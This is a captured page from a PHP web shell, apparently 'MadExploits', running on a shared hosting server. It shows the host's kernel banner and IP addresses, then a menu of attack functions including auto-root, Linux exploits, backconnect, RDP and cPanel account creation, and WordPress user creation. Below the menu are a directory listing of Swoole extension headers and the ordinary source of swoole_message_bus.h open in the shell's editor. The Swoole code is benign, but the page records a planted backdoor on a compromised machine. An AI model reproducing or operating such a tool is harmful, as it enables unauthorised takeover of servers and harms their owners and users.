Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php81 /
usr /
include /
php /
ext /
swoole /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
swoole.h
22.85
KB
-rw-r--r--
swoole_api.h
3.39
KB
-rw-r--r--
swoole_asm_context.h
1.76
KB
-rw-r--r--
swoole_async.h
3.7
KB
-rw-r--r--
swoole_atomic.h
2.15
KB
-rw-r--r--
swoole_base64.h
1.29
KB
-rw-r--r--
swoole_buffer.h
2.28
KB
-rw-r--r--
swoole_c_api.h
2.19
KB
-rw-r--r--
swoole_channel.h
2.34
KB
-rw-r--r--
swoole_client.h
8.41
KB
-rw-r--r--
swoole_config.h
8.84
KB
-rw-r--r--
swoole_coroutine.h
8.96
KB
-rw-r--r--
swoole_coroutine_c_api.h
4.9
KB
-rw-r--r--
swoole_coroutine_channel.h
4.18
KB
-rw-r--r--
swoole_coroutine_context.h
2.59
KB
-rw-r--r--
swoole_coroutine_socket.h
18.85
KB
-rw-r--r--
swoole_coroutine_system.h
3.48
KB
-rw-r--r--
swoole_dtls.h
2.41
KB
-rw-r--r--
swoole_error.h
5.85
KB
-rw-r--r--
swoole_file.h
4.09
KB
-rw-r--r--
swoole_file_hook.h
2.86
KB
-rw-r--r--
swoole_hash.h
9.69
KB
-rw-r--r--
swoole_heap.h
1.79
KB
-rw-r--r--
swoole_http.h
6.99
KB
-rw-r--r--
swoole_http2.h
8.38
KB
-rw-r--r--
swoole_lock.h
2.64
KB
-rw-r--r--
swoole_log.h
15.72
KB
-rw-r--r--
swoole_lru_cache.h
3.17
KB
-rw-r--r--
swoole_memory.h
2.75
KB
-rw-r--r--
swoole_message_bus.h
5.53
KB
-rw-r--r--
swoole_mime_type.h
1.44
KB
-rw-r--r--
swoole_mqtt.h
2.18
KB
-rw-r--r--
swoole_msg_queue.h
1.92
KB
-rw-r--r--
swoole_pipe.h
2.64
KB
-rw-r--r--
swoole_process_pool.h
8.88
KB
-rw-r--r--
swoole_protocol.h
5.32
KB
-rw-r--r--
swoole_proxy.h
2.14
KB
-rw-r--r--
swoole_reactor.h
11.25
KB
-rw-r--r--
swoole_redis.h
2.09
KB
-rw-r--r--
swoole_server.h
39.62
KB
-rw-r--r--
swoole_signal.h
1.68
KB
-rw-r--r--
swoole_socket.h
17.61
KB
-rw-r--r--
swoole_socket_hook.h
2.23
KB
-rw-r--r--
swoole_ssl.h
4.94
KB
-rw-r--r--
swoole_static_handler.h
4.7
KB
-rw-r--r--
swoole_string.h
8.06
KB
-rw-r--r--
swoole_table.h
7.35
KB
-rw-r--r--
swoole_timer.h
4.05
KB
-rw-r--r--
swoole_util.h
5.58
KB
-rw-r--r--
swoole_version.h
2.21
KB
-rw-r--r--
swoole_websocket.h
4.53
KB
-rw-r--r--
swoole_wheel_timer.h
2.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : swoole_message_bus.h
/* +----------------------------------------------------------------------+ | Swoole | +----------------------------------------------------------------------+ | This source file is subject to version 2.0 of the Apache license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.apache.org/licenses/LICENSE-2.0.html | | If you did not receive a copy of the Apache2.0 license and are unable| | to obtain it through the world-wide-web, please send a note to | | license@swoole.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Tianfeng Han <rango@swoole.com> | +----------------------------------------------------------------------+ */ #pragma once #include "swoole_api.h" #include "swoole_string.h" #include "swoole_socket.h" #include <unordered_map> namespace swoole { struct PipeBuffer { DataHead info; char data[0]; bool is_begin() { return info.flags & SW_EVENT_DATA_BEGIN; } bool is_chunked() { return info.flags & SW_EVENT_DATA_CHUNK; } bool is_end() { return info.flags & SW_EVENT_DATA_END; } }; struct PacketPtr { size_t length; char *data; }; struct DgramPacket { SocketType socket_type; network::Address socket_addr; uint32_t length; char data[0]; }; struct PacketTask { size_t length; char tmpfile[SW_TASK_TMP_PATH_SIZE]; }; class MessageBus { private: const Allocator *allocator_; std::unordered_map<uint64_t, std::shared_ptr<String>> packet_pool_; std::function<uint64_t(void)> id_generator_; size_t buffer_size_; PipeBuffer *buffer_ = nullptr; bool always_chunked_transfer_ = false; String *get_packet_buffer(); ReturnCode prepare_packet(uint16_t &recv_chunk_count, String *packet_buffer); public: MessageBus() { allocator_ = sw_std_allocator(); buffer_size_ = SW_BUFFER_SIZE_STD; } ~MessageBus() { } bool empty() { return packet_pool_.empty(); } size_t count() { return packet_pool_.size(); } void clear() { packet_pool_.clear(); } void set_allocator(const Allocator *allocator) { allocator_ = allocator; } void set_id_generator(const std::function<uint64_t(void)> &id_generator) { id_generator_ = id_generator; } void set_buffer_size(size_t buffer_size) { buffer_size_ = buffer_size; } void set_always_chunked_transfer() { always_chunked_transfer_ = true; } size_t get_buffer_size() { return buffer_size_; } size_t get_memory_size(); bool alloc_buffer() { void *_ptr = allocator_->malloc(sizeof(*buffer_) + buffer_size_); if (_ptr) { buffer_ = (PipeBuffer *) _ptr; sw_memset_zero(&buffer_->info, sizeof(buffer_->info)); return true; } else { return false; } } /** * If use the zend_string_allocator, must manually call this function to release the memory, * otherwise coredump will occur when php shutdown, because zend_string has been released */ void free_buffer() { allocator_->free(buffer_); } void pass(SendData *task) { memcpy(&buffer_->info, &task->info, sizeof(buffer_->info)); if (task->info.len > 0) { buffer_->info.flags = SW_EVENT_DATA_PTR; PacketPtr pkt{task->info.len, (char *) task->data}; buffer_->info.len = sizeof(pkt); memcpy(buffer_->data, &pkt, sizeof(pkt)); } } /** * Send data to socket. If the data sent is larger than Server::ipc_max_size, then it is sent in chunks. * Otherwise send it directly. * @return: send success returns true, send failure returns false. */ bool write(network::Socket *sock, SendData *packet); /** * Receive data from socket, if only one chunk is received, packet will be saved in packet_pool. * Then continue to listen to readable events, waiting for more chunks. * @return: >0: receive a complete packet, 0: continue to wait for data, -1: an error occurred */ ssize_t read(network::Socket *sock); /** * Receive data from pipeline, and store data to buffer * @return: >0: receive a complete packet, 0: continue to wait for data, -1: an error occurred */ ssize_t read_with_buffer(network::Socket *sock); /** * The last chunk of data has been received, return address and length, start processing this packet. */ PacketPtr get_packet() const; PipeBuffer *get_buffer() { return buffer_; } /** * Pop the data memory address to the outer layer, no longer managed by MessageBus */ char *move_packet() { uint64_t msg_id = buffer_->info.msg_id; auto iter = packet_pool_.find(msg_id); if (iter != packet_pool_.end()) { auto str = iter->second.get(); char *val = str->str; str->str = nullptr; return val; } else { return nullptr; } } /** * The processing of this data packet has been completed, and the relevant memory has been released */ void pop() { if (buffer_->is_end()) { packet_pool_.erase(buffer_->info.msg_id); } } }; } // namespace swoole
Close